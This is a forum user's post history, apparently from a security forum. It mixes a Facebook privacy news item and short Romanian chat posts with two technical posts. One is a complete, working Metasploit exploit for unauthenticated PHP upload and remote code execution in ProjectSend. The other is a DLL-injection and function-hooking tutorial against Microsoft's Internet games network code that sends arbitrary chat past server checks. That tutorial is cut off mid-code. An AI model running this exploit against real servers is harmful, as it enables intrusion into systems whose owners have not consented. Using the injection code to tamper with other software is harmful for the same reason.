Jump to content

Aerosol

Active Members
  • Posts

    3453
  • Joined

  • Last visited

  • Days Won

    22

Everything posted by Aerosol

  1. SOCIAL NETWORK Facebook has failed in its efforts to see off a case over, guess what, privacy. Bloomberg reports on the progress in the case over Facebook, promotional messages, likes, and advertising, with the news that a judge doesn't view the issue in the same way as the social network. It said that while Facebook had argued that the case should not be seen or heard, the court said that it should. Facebook, had, it said, suggested that the contentious issue was a normal part of business and not appropriate for the courts. Bloomberg said that the Judge, U.S. District Judge Phyllis Hamilton, had suggested that Facebook was unwilling to share information, and thus, she was not in a position to say whether electronic communications at Facebook would be covered under federal rules. "Facebook's unwillingness to offer any details regarding its targeted advertising practice prevents the court from being able to determine whether the specific practice challenged in this case should be considered ‘ordinary,'" she said. The case against the social network has been raised by a consumer with concerns about privacy. The chief concern is that private messages have been scanned by Facebook for the mention of companies and websites, and the suggestion is that this has been turned into on-page ‘Likes' by the company. Facebook has so far declined to comment on the progress of the case, but it is well versed in dealing with complaints about its system and its relationship with privacy. The firm stopped the Like hijack method in 2012. Source
  2. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'ProjectSend Arbitrary File Upload', 'Description' => %q{ This module exploits a file upload vulnerability in ProjectSend revisions 100 to 561. The 'process-upload.php' file allows unauthenticated users to upload PHP files resulting in remote code execution as the web server user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Fady Mohammed Osman', # Discovery and Exploit 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit ], 'References' => [ ['EDB', '35424'] ], 'Payload' => { 'BadChars' => "\x00" }, 'Arch' => ARCH_PHP, 'Platform' => 'php', 'Targets' => [ # Tested on ProjectSend revisions 100, 157, 180, 250, 335, 405 and 561 on Apache (Ubuntu) ['ProjectSend (PHP Payload)', {}] ], 'Privileged' => false, 'DisclosureDate' => 'Dec 02 2014', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to ProjectSend', '/ProjectSend/']) ], self.class) end # # Checks if target upload functionality is working # def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'process-upload.php') ) if !res vprint_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown elsif res.code.to_i == 404 vprint_error("#{peer} - No process-upload.php found") return Exploit::CheckCode::Safe elsif res.code.to_i == 500 vprint_error("#{peer} - Unable to write file") return Exploit::CheckCode::Safe elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/ vprint_error("#{peer} - File process-upload.php is not executable") return Exploit::CheckCode::Safe elsif res.code.to_i == 200 && res.body && res.body =~ /sys\.config\.php/ vprint_error("#{peer} - Software is misconfigured") return Exploit::CheckCode::Safe elsif res.code.to_i == 200 && res.body && res.body =~ /jsonrpc/ # response on revision 118 onwards includes the file name if res.body && res.body =~ /NewFileName/ return Exploit::CheckCode::Vulnerable # response on revisions 100 to 117 does not include the file name elsif res.body && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/ return Exploit::CheckCode::Appears elsif res.body && res.body =~ /Failed to open output stream/ vprint_error("#{peer} - Upload folder is not writable") return Exploit::CheckCode::Safe else return Exploit::CheckCode::Detected end else return Exploit::CheckCode::Safe end end # # Upload PHP payload # def upload fname = "#{rand_text_alphanumeric(rand(10) + 6)}.php" php = "<?php #{payload.encoded} ?>" data = Rex::MIME::Message.new data.add_part(php, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{fname}")) post_data = data.to_s print_status("#{peer} - Uploading file '#{fname}' (#{php.length} bytes)") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "process-upload.php?name=#{fname}"), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data ) if !res fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") elsif res.code.to_i == 404 fail_with(Failure::NotFound, "#{peer} - No process-upload.php found") elsif res.code.to_i == 500 fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}") elsif res.code.to_i == 200 && res.body && res.body =~ /Failed to open output stream/ fail_with(Failure::NotVulnerable, "#{peer} - Upload folder is not writable") elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/ fail_with(Failure::NotVulnerable, "#{peer} - File process-upload.php is not executable") elsif res.code.to_i == 200 && res.body && res.body =~ /sys.config.php/ fail_with(Failure::NotVulnerable, "#{peer} - Software is misconfigured") # response on revision 118 onwards includes the file name elsif res.code.to_i == 200 && res.body && res.body =~ /NewFileName/ print_good("#{peer} - Payload uploaded successfully (#{fname})") return fname # response on revisions 100 to 117 does not include the file name elsif res.code.to_i == 200 && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/ print_warning("#{peer} - File upload may have failed") return fname else vprint_debug("#{peer} - Received response: #{res.code} - #{res.body}") fail_with(Failure::Unknown, "#{peer} - Something went wrong") end end # # Execute uploaded file # def exec(upload_path) print_status("#{peer} - Executing #{upload_path}...") res = send_request_raw( { 'uri' => normalize_uri(target_uri.path, upload_path) }, 5 ) if !res print_status("#{peer} - Request timed out while executing") elsif res.code.to_i == 404 vprint_error("#{peer} - Not found: #{upload_path}") elsif res.code.to_i == 200 vprint_good("#{peer} - Executed #{upload_path}") else print_error("#{peer} - Unexpected reply") end end # # upload && execute # def exploit fname = upload register_files_for_cleanup(fname) exec("upload/files/#{fname}") # default for r-221 onwards unless session_created? exec("upload/temp/#{fname}") # default for r-100 to r-219 end end end Source
  3. Incetati frate, va rog eu nu transformatii categoria " Discutii Non-IT" in "Retard Stuff" Ok frate e funny postati pe chat dar dupa cum vedeti https://rstforums.com/forum/326-fun-stuff.rst e inchisa, so... Postati ceva interesant ( mecanica, electrica, noi inovati in diferite domenii) pentru asta e ,,Discutii Non-IT"
  4. am vazut si eu stirea, posibil sa urmeze inca un dezastru ca cel din 1986 ( ne aducem aminte ce Cernobîl )
  5. The not-too-long-awaited followup continues. This post will outline some of the internals of how the common network code residing in zgmprxy.dll works. This DLL is shared across Internet Checkers, Internet Backgammon, and Internet Spades to carry out all of the network functionality. Fortunately, or rather unfortunately from a challenge perspective, Microsoft has provided debugging symbols for zgmprxy.dll. This removes some of the challenge in finding interesting functions, but does still allow for some decent reverse engineering knowledge to actually understand how everything is working. Starting Point The obvious starting point for this is to load and look through the zgmproxy.pdb file provided through the Microsoft Symbol Server. There are tons of good functions to look through, but for the sake of brevity, I will be focusing on four of them here. ?BeginConnect@ CStadiumSocket@@ QEAAJQEAGK@ Z ?SendData@ CStadiumSocket@@ QEAAHPEADIHH@ Z ?DecryptSocketData@ CStadiumSocket@@ AEAAJXZ ?Disconnect@ CStadiumSocket@@ QEAAXXZ Understanding how name decorations work allows for a recovery of a large amount of information, such as parameter number any types, function name and class membership information, calling convention (__thiscall for this case obviously, although I treat it as __stdcall with the “this” pointer as the first parameter in the example code), etc. The Plan The plan here does not change too much from what happened in the previous post: Get into the address space of the target executable. Nothing here changes from last post. Get the addresses of the above functions. This becomes very simple with the debug/symbol APIs provided by the WinAPI. Install hooks at desired places on the functions. Save off the CStadiumSocket instance so we can call functions in it at our own leisure. As an example for this post, it will be to send custom chat messages instead of the pre-selected ones offered by the games. DllMain does not change drastically from the last revision. int APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) { switch(dwReason) { case DLL_PROCESS_ATTACH: (void)DisableThreadLibraryCalls(hModule); if(AllocConsole()) { freopen("CONOUT$", "w", stdout); SetConsoleTitle(L"Console"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE); printf("DLL loaded.\n"); } if(GetFunctions()) { pExceptionHandler = AddVectoredExceptionHandler(TRUE, VectoredHandler); if(SetBreakpoints()) { if(CreateThread(NULL, 0, DlgThread, hModule, 0, NULL) == NULL) printf("Could not create dialog thread. Last error = %X\n", GetLastError()); } else { printf("Could not set initial breakpoints.\n"); } printf("CStadiumSocket::BeginConnect: %016X\n" "CStadiumSocket::SendData: %016X\n" "CStadiumSocket::DecryptSocketData: %016X\n" "CStadiumSocket::Disconnect: %016X\n", BeginConnectFnc, SendDataFnc, DecryptSocketDataFnc, DisconnectFnc); } break; case DLL_PROCESS_DETACH: //Clean up here usually break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } There are four functions now as well as a new thread which will hold a dialog to enter custom chat (discussed later). Memory breakpoints are still used and nothing has changed about how they are added. GetFunctions() has drastically changed in this revision. Instead of finding the target functions through GetProcAddress, the injected DLL can load up symbols at runtime and find the four desired functions through the use of the SymGetSymFromName64 function. const bool GetFunctions(void) { (void)SymSetOptions(SYMOPT_UNDNAME); if(SymInitialize(GetCurrentProcess(), "", TRUE)) { IMAGEHLP_SYMBOL64 imageHelp = { 0 }; imageHelp.SizeOfStruct = sizeof(IMAGEHLP_SYMBOL64); (void)SymGetSymFromName64(GetCurrentProcess(), "CStadiumSocket::BeginConnect", &imageHelp); BeginConnectFnc = (pBeginConnect)imageHelp.Address; (void)SymGetSymFromName64(GetCurrentProcess(), "CStadiumSocket::SendData", &imageHelp); SendDataFnc = (pSendData)imageHelp.Address; (void)SymGetSymFromName64(GetCurrentProcess(), "CStadiumSocket::DecryptSocketData", &imageHelp); DecryptSocketDataFnc = (pDecryptSocketData)imageHelp.Address; (void)SymGetSymFromName64(GetCurrentProcess(), "CStadiumSocket::Disconnect", &imageHelp); DisconnectFnc = (pDisconnect)imageHelp.Address; } else { printf("Could not initialize symbols. Last error = %X", GetLastError()); } return ((BeginConnectFnc != NULL) && (SendDataFnc != NULL) && (DecryptSocketDataFnc != NULL) && (DisconnectFnc != NULL)); } Here symbols will be loaded with undecorated names and the target functions will be retrieved. The zgmprxy.pdb file must reside in one of the directories that SymInitialize checks, namely in one of the following: The current working directory of the application The _NT_SYMBOL_PATH environment variable The _NT_ALTERNATE_SYMBOL_PATH environment variable That is really all there is in terms of large changes from last post, so it’s time to begin actually reversing these four functions. ?BeginConnect@CStadiumSocket@@QEAAJQEAGK@Z As the function name implies, this is called to begin a connection with the matchmaking service and game. The control flow graph looks pretty straightforward, as is the functionality of BeginConnect. From a cursory inspection, the function appears to be a wrapper around QueueUserWorkItem. It takes a URL and port number as input, and is responsible for initializing and formatting them in a way before launching an asynchronous task. My x64 -> C interpretation yields something similar to the following (x64 code in comment form, my C translation below). Allocation sizes were retrieved during a trace and don’t necessarily fully reflect the logic: int CStadiumSocket::BeginConnect(wchar_t *pUrl, unsigned long ulPortNumber) { //.text:000007FF34FB24C7 mov rcx, r12 ; size_t //.text:000007FF34FB24CA call ??_U@YAPEAX_K@Z ; operator new[](unsigned __int64) //.text:000007FF34FB24CF mov rsi, rax //.text:000007FF34FB24D2 cmp rax, rbx //.text:000007FF34FB24D5 jnz short loc_7FF34FB24E1 wchar_t *strPortNum = new wchar_t[32]; if(strPortNum == NULL) return 0x800404DB; //.text:000007FF34FB24E1 mov r8, r12 ; size_t //.text:000007FF34FB24E4 xor edx, edx ; int //.text:000007FF34FB24E6 mov rcx, rax ; void * //.text:000007FF34FB24E9 call memset memset(pBuffer, 0, 32 * sizeof(wchar_t)); //.text:000007FF34FB24EE lea r12, [rbp+3Ch] //.text:000007FF34FB24F2 mov r11d, 401h //.text:000007FF34FB24F8 mov rax, r12 //.text:000007FF34FB24FB sub rdi, r12 //.text:000007FF34FB24FE //.text:000007FF34FB24FE loc_7FF34FB24FE: ; CODE XREF: CStadiumSocket::BeginConnect(ushort * const,ulong)+77j //.text:000007FF34FB24FE cmp r11, rbx //.text:000007FF34FB2501 jz short loc_7FF34FB251E //.text:000007FF34FB2503 movzx ecx, word ptr [rdi+rax] //.text:000007FF34FB2507 cmp cx, bx //.text:000007FF34FB250A jz short loc_7FF34FB2519 //.text:000007FF34FB250C mov [rax], cx //.text:000007FF34FB250F add rax, 2 //.text:000007FF34FB2513 sub r11, 1 //.text:000007FF34FB2517 jnz short loc_7FF34FB24FE //.text:000007FF34FB2519 //.text:000007FF34FB2519 loc_7FF34FB2519: ; CODE XREF: CStadiumSocket::BeginConnect(ushort * const,ulong)+6Aj //.text:000007FF34FB2519 cmp r11, rbx //.text:000007FF34FB251C jnz short loc_7FF34FB2522 //.text:000007FF34FB251E //.text:000007FF34FB251E loc_7FF34FB251E: ; CODE XREF: CStadiumSocket::BeginConnect(ushort * const,ulong)+61j //.text:000007FF34FB251E sub rax, 2 for(unsigned int i = 0; i < 1025; ++i) { m_pBuffer[i] = pUrl[i]; if(pBuffer[i] == 0) break; } //.text:000007FF34FB2522 mov r9d, 0Ah ; int //.text:000007FF34FB2528 mov rdx, rsi ; wchar_t * //.text:000007FF34FB252B mov ecx, r13d ; int //.text:000007FF34FB252E lea r8d, [r9+16h] ; size_t //.text:000007FF34FB2532 mov [rax], bx //.text:000007FF34FB2535 call _itow_s (void)_itow_s(ulPortNumber, strPortNum, 32, 10); //.text:000007FF34FB253A mov [rbp+38h], r13d //.text:000007FF34FB253E mov r13d, 30h //.text:000007FF34FB2544 lea rcx, [rsp+68h+var_48] ; void * //.text:000007FF34FB2549 mov r8, r13 ; size_t //.text:000007FF34FB254C xor edx, edx ; int //.text:000007FF34FB254E mov [rbp+85Ch], ebx //.text:000007FF34FB2554 call memset char partialContextBuffer[48]; memset(str, 0, sizeof(str)); //.text:000007FF34FB2559 lea ecx, [r13+28h] ; size_t //.text:000007FF34FB255D mov [rsp+68h+var_44], ebx //.text:000007FF34FB2561 mov [rsp+68h+var_40], 1 //.text:000007FF34FB2569 call ??2@YAPEAX_K@Z ; operator new(unsigned __int64) //.text:000007FF34FB256E mov rdi, rax //.text:000007FF34FB2571 cmp rax, rbx //.text:000007FF34FB2574 jz short loc_7FF34FB257E //.text:000007FF34FB2576 mov dword ptr [rax], 1 //.text:000007FF34FB257C jmp short loc_7FF34FB2581 char *pContextBuffer = new char[88]; if(pContextBuffer == NULL) return 0x800404DB; //.text:000007FF34FB2586 lea rcx, [rdi+18h] ; void * //.text:000007FF34FB258A lea rdx, [rsp+68h+var_48] ; void * //.text:000007FF34FB258F mov r8, r13 ; size_t //.text:000007FF34FB2592 mov [rdi+8], r12 //.text:000007FF34FB2596 mov [rdi+10h], rsi //.text:000007FF34FB259A call memmove *(pContextBuffer) = 1; //At 000007FF34FB2576 *(pContextBuffer + 8) = &m_pBuffer; *(pContextBuffer + 16) = &strPortNum; memmove(&pContextBuffer[24], partialContextBuffer, 48); //.text:000007FF34FB259F lea r11, [rbp+0A80h] //.text:000007FF34FB25A6 lea rax, [rbp+18h] //.text:000007FF34FB25AA lea rcx, ?AsyncGetAddrInfoW@CStadiumSocket@@SAKPEAX@Z ; Function //.text:000007FF34FB25B1 xor r8d, r8d ; Flags //.text:000007FF34FB25B4 mov rdx, rdi ; Context //.text:000007FF34FB25B7 mov [rdi+48h], r11 //.text:000007FF34FB25BB mov [rdi+50h], rax //.text:000007FF34FB25BF call cs:__imp_QueueUserWorkItem //.text:000007FF34FB25C5 cmp eax, ebx //.text:000007FF34FB25C7 jnz short loc_7FF34FB25D5 //.text:000007FF34FB25C9 mov ebx, 800404BFh //.text:000007FF34FB25CE jmp short loc_7FF34FB25D5 if(QueueUserWorkItem(&AsyncGetAddrInfo, pContextBuffer, 0) == FALSE) return 0x800404BF; //From success case return 0; } ?SendData@CStadiumSocket@@QEAAHPEADIHH@Z The next function to look at is the SendData function. This function formats the data to send and invokes OnASyncDataWrite to write it out. The function creates a buffer of max length 0x4010 (16400) bytes, copies in the message buffer, and appends a few fields to the end. There is some handling code in the event that the message is of a handshake type, or if it is a message that is to be queued up. Below is a mostly complete translation of the assembly. int CStadiumSocket::SendData(char *pBuffer, unsigned int uiLength, bool bIsHandshake, bool bLastHandshake) { //.text : 000007FF34FB350C cmp dword ptr[rcx + 0A88h], 0 //.text : 000007FF34FB3513 mov rax, [rcx + 840h] //.text : 000007FF34FB351A mov r13, rdx //.text : 000007FF34FB351D mov rax, [rax + 10h] //.text : 000007FF34FB3521 lea rdx, aTrue; "true" //.text : 000007FF34FB3528 mov rdi, rcx //.text : 000007FF34FB352B mov[rsp + 58h + var_20], rax //.text : 000007FF34FB3530 lea r11, aFalse; "false" //.text : 000007FF34FB3537 mov ebp, r8d //.text : 000007FF34FB353A mov r10, r11 //.text : 000007FF34FB353D mov rcx, r11 //.text : 000007FF34FB3540 mov r12d, r9d //.text : 000007FF34FB3543 cmovnz r10, rdx //.text : 000007FF34FB3547 cmp[rsp + 58h + arg_20], 0 //.text : 000007FF34FB354F cmovnz rcx, rdx //.text : 000007FF34FB3553 test r9d, r9d //.text : 000007FF34FB3556 mov[rsp + 58h + var_28], r10 //.text : 000007FF34FB355B mov[rsp + 58h + var_30], rcx //.text : 000007FF34FB3560 cmovnz r11, rdx //.text : 000007FF34FB3564 mov r9d, r8d //.text : 000007FF34FB3567 lea rcx, aCstadiumsoc_15; "CStadiumSocket::SendData:\n BUFFER: "... //.text : 000007FF34FB356E mov r8, r13 //.text : 000007FF34FB3571 mov edx, ebp //.text : 000007FF34FB3573 mov[rsp + 58h + var_38], r11 //.text : 000007FF34FB3578 call ? SafeDbgLog@@YAXPEBGZZ; SafeDbgLog(ushort const *, ...) QueueNode *pQueueNode = m_msgQueue; char *strIsHandshake = (bIsHandshake == 0) ? "true" : "false"; char *strPostHandshake = (m_bPostHandshake == 0) ? "true" : "false"; char *strLastHandshake = (bLastHandshake == 0) ? "true" : "false"; SafeDbgLog("CStadiumSocket::SendData: BUFFER: \"%*.S\" LENGTH: %u HANDSHAKE: %s LAST HS: %s POST HS: %s Queue: %u", uiLength, pBuffer, uiLength, strIsHandshake, strLastHandshake, strPostHandshake, pQueueNode.Count); //.text : 000007FF34FB357D mov ecx, 4010h; size_t //.text : 000007FF34FB3582 call ? ? 2@YAPEAX_K@Z; operator new(unsigned __int64) //.text : 000007FF34FB3587 mov rsi, rax //.text : 000007FF34FB358A mov[rsp + 58h + arg_0], rax //.text : 000007FF34FB358F test rax, rax //.text : 000007FF34FB3592 jz loc_7FF34FB36B3 //.text : 000007FF34FB3598 mov ebx, 4000h //.text : 000007FF34FB359D xor edx, edx; int //.text : 000007FF34FB359F mov rcx, rax; void * //.text : 000007FF34FB35A2 mov r8, rbx; size_t //.text : 000007FF34FB35A5 call memset //.text : 000007FF34FB35AA cmp ebp, ebx //.text : 000007FF34FB35AC mov rdx, r13; void * //.text : 000007FF34FB35AF cmovb rbx, rbp //.text : 000007FF34FB35B3 mov rcx, rsi; void * //.text : 000007FF34FB35B6 mov r8, rbx; size_t //.text : 000007FF34FB35B9 call memmove //.text : 000007FF34FB35BE and dword ptr[rsi + 4000h], 0 //.text : 000007FF34FB35C5 mov[rsi + 4004h], ebp //.text : 000007FF34FB35CB mov[rsi + 4008h], r12d //.text : 000007FF34FB35D2 and dword ptr[rsi + 400Ch], 0 char *pFullBuffer = new char[0x4010]; if(pFullBuffer == NULL) { return 0; } memset(pFullBuffer, 0, 0x4000); uiLength = (uiLength < 0x4000) ? uiLength : 0x4000; memmove(pFullBuffer, pBuffer, uiLength); pFullBuffer[0x4000] = 0; pFullBuffer[0x4004] = uiLength; pFullBuffer[0x4008] = bPostHandshake; pFullBuffer[0x400C] = 0; //.text : 000007FF34FB35D9 test r12d, r12d //.text : 000007FF34FB35DC jz short loc_7FF34FB3658 //.text : 000007FF34FB35DE mov rax, [rdi + 840h] //.text : 000007FF34FB35E5 mov rbx, [rax] //.text : 000007FF34FB35E8 test rbx, rbx //.text : 000007FF34FB35EB //.text : 000007FF34FB35EB loc_7FF34FB35EB : ; CODE XREF : CStadiumSocket::SendData(char *, uint, int, int) + 119j //.text : 000007FF34FB35EB jz short loc_7FF34FB364F //... //.text : 000007FF34FB364F loc_7FF34FB364F : ; CODE XREF : CStadiumSocket::SendData(char *, uint, int, int) : loc_7FF34FB35EBj //.text : 000007FF34FB364F lea rcx, aCstadiumsoc_18; "CStadiumSocket::SendData: AddTail in se"... //.text : 000007FF34FB3656 jmp short loc_7FF34FB365F //.text : 000007FF34FB3658; -------------------------------------------------------------------------- - //.text : 000007FF34FB3658 //.text : 000007FF34FB3658 loc_7FF34FB3658 : ; CODE XREF : CStadiumSocket::SendData(char *, uint, int, int) + E8j //.text : 000007FF34FB3658 lea rcx, aCstadiumsock_9; "CStadiumSocket::SendData: AddTail\n\n" //.text : 000007FF34FB365F //.text : 000007FF34FB365F loc_7FF34FB365F : ; CODE XREF : CStadiumSocket::SendData(char *, uint, int, int) + 162j //.text : 000007FF34FB365F call ? SafeDbgLog@@YAXPEBGZZ; SafeDbgLog(ushort const *, ...) bool bAddTail = (!bPostHandshake || pQueueNode->Prev == NULL); if(!bPostHandshake) { SafeDbgLog("CStadiumSocket::SendData: AddTail\n\n"); } else if(pQueueNode->Prev == NULL) { SafeDbgLog("CStadiumSocket::SendData: AddTail in search."); } //.text : 000007FF34FB3664 mov rbx, [rdi + 840h] //.text : 000007FF34FB366B lea rdx, [rsp + 58h + arg_0] //.text : 000007FF34FB3670 mov r8, [rbx + 8] //.text : 000007FF34FB3674 xor r9d, r9d //.text : 000007FF34FB3677 mov rcx, rbx //.text : 000007FF34FB367A call ? NewNode@ //.text : 000007FF34FB367F mov rcx, [rbx + 8] //.text : 000007FF34FB3683 test rcx, rcx //.text : 000007FF34FB3686 jz short loc_7FF34FB368D //.text : 000007FF34FB3688 loc_7FF34FB3688 : ; CODE XREF : CStadiumSocket::SendData(char *, uint, int, int) + 149j //.text : 000007FF34FB3688 mov[rcx], rax //.text : 000007FF34FB368B jmp short loc_7FF34FB3690 //.text : 000007FF34FB368D; -------------------------------------------------------------------------- - //.text : 000007FF34FB368D //.text : 000007FF34FB368D loc_7FF34FB368D : ; CODE XREF : CStadiumSocket::SendData(char *, uint, int, int) + 192j //.text : 000007FF34FB368D if(bAddTail) { QueueNode *pNewNode = ATL::CAtlList::NewNode(pQueueNode->Top, pQueueNode->Prev, pQueueNode->Next); if(pQueueNode->Next == NULL) { pQueueNode->Next = pNewNode; } else { pQueueNode = pNewNode; } } //.text : 000007FF34FB3690 cmp[rsp + 58h + arg_20], 0 //.text : 000007FF34FB3698 mov[rbx + 8], rax //.text : 000007FF34FB369C mov ebx, 1 //.text : 000007FF34FB36A1 jz short loc_7FF34FB36A9 //.text : 000007FF34FB36A3 mov[rdi + 0A88h], ebx //.text : 000007FF34FB36A9 //.text : 000007FF34FB36A9 loc_7FF34FB36A9 : ; CODE XREF : CStadiumSocket::SendData(char *, uint, int, int) + 1ADj //.text : 000007FF34FB36A9 mov rcx, rdi //.text : 000007FF34FB36AC call ? OnAsyncDataWrite@CStadiumSocket@@AEAAXXZ; CStadiumSocket::OnAsyncDataWrite(void) pQueueNode->Next = pQueueNode; m_bPostHandshake = bLastHandshake; OnASyncDataWrite(); } //.text : 000007FF34FB35EB jz short loc_7FF34FB364F //.text : 000007FF34FB35ED test rbx, rbx //.text : 000007FF34FB35F0 jz short loc_7FF34FB3644 //.text : 000007FF34FB35F2 mov rcx, [rbx + 10h] //.text : 000007FF34FB35F6 mov rax, [rbx] //.text : 000007FF34FB35F9 test rcx, rcx //.text : 000007FF34FB35FC jz short loc_7FF34FB3607 //.text : 000007FF34FB35FE cmp dword ptr[rcx + 4008h], 0 //.text : 000007FF34FB3605 jz short loc_7FF34FB360F //.text : 000007FF34FB3607 //.text : 000007FF34FB3607 loc_7FF34FB3607 : ; CODE XREF : CStadiumSocket::SendData(char *, uint, int, int) + 108j //.text : 000007FF34FB3607 mov rbx, rax //.text : 000007FF34FB360A test rax, rax //.text : 000007FF34FB360D jmp short loc_7FF34FB35EB //.text : 000007FF34FB360F; -------------------------------------------------------------------------- - //.text : 000007FF34FB360F //.text : 000007FF34FB360F loc_7FF34FB360F : ; CODE XREF : CStadiumSocket::SendData(char *, uint, int, int) + 111j //.text : 000007FF34FB360F lea rcx, aCstadiumsoc_28; "CStadiumSocket::SendData: InsertBefore "... //.text : 000007FF34FB3616 call ? SafeDbgLog@@YAXPEBGZZ; SafeDbgLog(ushort const *, ...) else if(bPostHandshake) { pQueueNode *pNodePtr = pQueueNode; while(pNodePtr->Next != NULL) { pNodePtr = pNodePtr->Next; if(pNodePtr.pData[0x4008] == 0) { break; } } SafeDbgLog("CStadiumSocket::SendData: InsertBefore in search."); //.text : 000007FF34FB361B mov rsi, [rdi + 840h] //.text : 000007FF34FB3622 mov r8, [rbx + 8] //.text : 000007FF34FB3626 lea rdx, [rsp + 58h + arg_0] //.text : 000007FF34FB362B mov rcx, rsi //.text : 000007FF34FB362E mov r9, rbx //.text : 000007FF34FB3631 call ? NewNode@ //.text : 000007FF34FB3636 mov rcx, [rbx + 8] //.text : 000007FF34FB363A test rcx, rcx //.text : 000007FF34FB363D jnz short loc_7FF34FB3688 //.text : 000007FF34FB363F mov [rsi], rax //.text : 000007FF34FB3642 jmp short loc_7FF34FB3690 QueueNode *pNewNode = ATL::CAtlList::NewNode(pQueueNode->Top, pQueueNode->Prev, pQueueNode->Next); //Follows same insertion logic, except for ->Prev. Sets handshake flag again. OnASyncDataWrite(); } } The logic looks rather complicated, but it the overall picture is that this function is responsible for scheduling of messages leaving the network and tags them with their type (handshake or not). It allocates and writes the buffer to send out and inserts it in to the message queue, which is read by OnASyncDataWrite and sent out after adding the encryption layer. Hooking this function will allow for the filtering of messages leaving the client for purposes of logging, fuzzing/modification, or other suitable purposes. ?DecryptSocketData@CStadiumSocket@@AEAAJXZ This function is responsible for decrypting socket data after it comes in over the network from the server. In the case that the client is sending packets, CStadiumSocket::SendData is called, which in turn calls CStadiumSocket::OnASyncDataWrite; correspondingly the reverse happens in the receive case, and a CStadiumSocket::OnASyncDataRead function calls CStadiumSocket::DecryptSocketData. The internal works of this function are not necessarily important, and I will omit my x64 -> C conversion notes. The important part is to get a pointer to the buffer that has been decrypted. Doing so will allow for monitoring of messages coming from the server and like the SendData case, allows for logging or fuzzing of incoming messages to test client robustness. Doing some runtime tracing of this function, I found a good spot to pull the decrypted data from: //.text : 000007FF34FB3D20 movsxd rcx, dword ptr[rdi + 400Ch] .text : 000007FF34FB3D27 mov r8d, [r12]; size_t .text : 000007FF34FB3D2B mov rdx, [r12 + 8]; void * .text : 000007FF34FB3D30 add rcx, rdi; void * .text : 000007FF34FB3D33 call memmove After the call to memmove, RDX will contain the decrypted buffer, with R8 containing the size. This seems like the perfect place to set the hook, at CStadiumSocket::DecryptSocketData + 0x1C3. ?DecryptSocketData@CStadiumSocket@@AEAAJXZ The last function to look at. What happens here is also not necessarily important for our needs; looking through the assembly, it send out a “goodbye” message, what internally is referred to as a SEC_HANDSHAKE by the application, and shuts down send operations on the socket. Messages are still received and written out to the debug log (in the event that debug logging is enabled), and the socket is fully shut down and cleaned up after nothing is left to receive. This function is only hooked if we plan on doing something across multiple games in the same program instance, e.g. we resign a game and start a new one without restarting the application. Seeing this function called allows us to know that the CStadiumSocket instance captured by CStadiumSocket::BeginConnect is no longer valid for use. Wrapping Up Having all of this done and analyzed, changing the vectored exception handler to hook these functions (or in the middle of a function in the case of CStadiumSocket::DecryptSocketData) is just as simple as it was in the last post: LONG CALLBACK VectoredHandler(EXCEPTION_POINTERS *pExceptionInfo) { if(pExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) { pExceptionInfo->ContextRecord->EFlags |= 0x100; DWORD_PTR dwExceptionAddress = (DWORD_PTR)pExceptionInfo->ExceptionRecord->ExceptionAddress; CONTEXT *pContext = pExceptionInfo->ContextRecord; if(dwExceptionAddress == (DWORD_PTR)BeginConnectFnc) { pThisPtr = (void *)pContext->Rcx; printf("Starting connection. CStadiumSocket instance is at: %016X\n", pThisPtr); } else if(dwExceptionAddress == (DWORD_PTR)SendDataFnc) { DWORD_PTR *pdwParametersBase = (DWORD_PTR *)(pContext->Rsp + 0x28); SendDataHook((void *)pContext->Rcx, (char *)pContext->Rdx, (unsigned int)pContext->R8, (int)pContext->R9, (int)(*(pdwParametersBase))); } else if(dwExceptionAddress == (DWORD_PTR)DecryptSocketDataFnc + 0x1C3) { DecryptSocketDataHook((char *)pContext->Rdx, (unsigned int)pContext->R8); } else if(dwExceptionAddress == (DWORD_PTR)DisconnectFnc) { printf("Closing connection. CStadiumSocket instance is being set to NULL\n"); pThisPtr = NULL; } return EXCEPTION_CONTINUE_EXECUTION; } if(pExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { (void)SetBreakpoints(); return EXCEPTION_CONTINUE_EXECUTION; } return EXCEPTION_CONTINUE_SEARCH; } To have some fun, the injected DLL can create a dialog box for chat input and send it over to the server. The game server expects a numeric value corresponding to the allowed chat in the scrollbox, but does not do any checking on it. This allows for any arbitrary message to be sent over to the server and the player on the other side will see it. The only caveat is that spaces (0x20) characters must be converted to %20. The code is as follows INT_PTR CALLBACK DialogProc(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam) { switch(uMsg) { case WM_COMMAND: switch(LOWORD(wParam)) { case ID_SEND: { //Possible condition here where Disconnect is called while custom chat message is being sent. if(pThisPtr != NULL) { char strSendBuffer[512] = { 0 }; char strBuffer[256] = { 0 }; GetDlgItemTextA(hwndDlg, IDC_CHATTEXT, strBuffer, sizeof(strBuffer) - 1); //Extremely unsafe example code, careful... for (unsigned int i = 0; i < strlen(strBuffer); ++i) { if (strBuffer[i] == ' ') { memmove(&strBuffer[i + 3], &strBuffer[i + 1], strlen(&strBuffer[i])); strBuffer[i] = '%'; strBuffer[i + 1] = '2'; strBuffer[i + 2] = '0'; } } _snprintf(strSendBuffer, sizeof(strSendBuffer) - 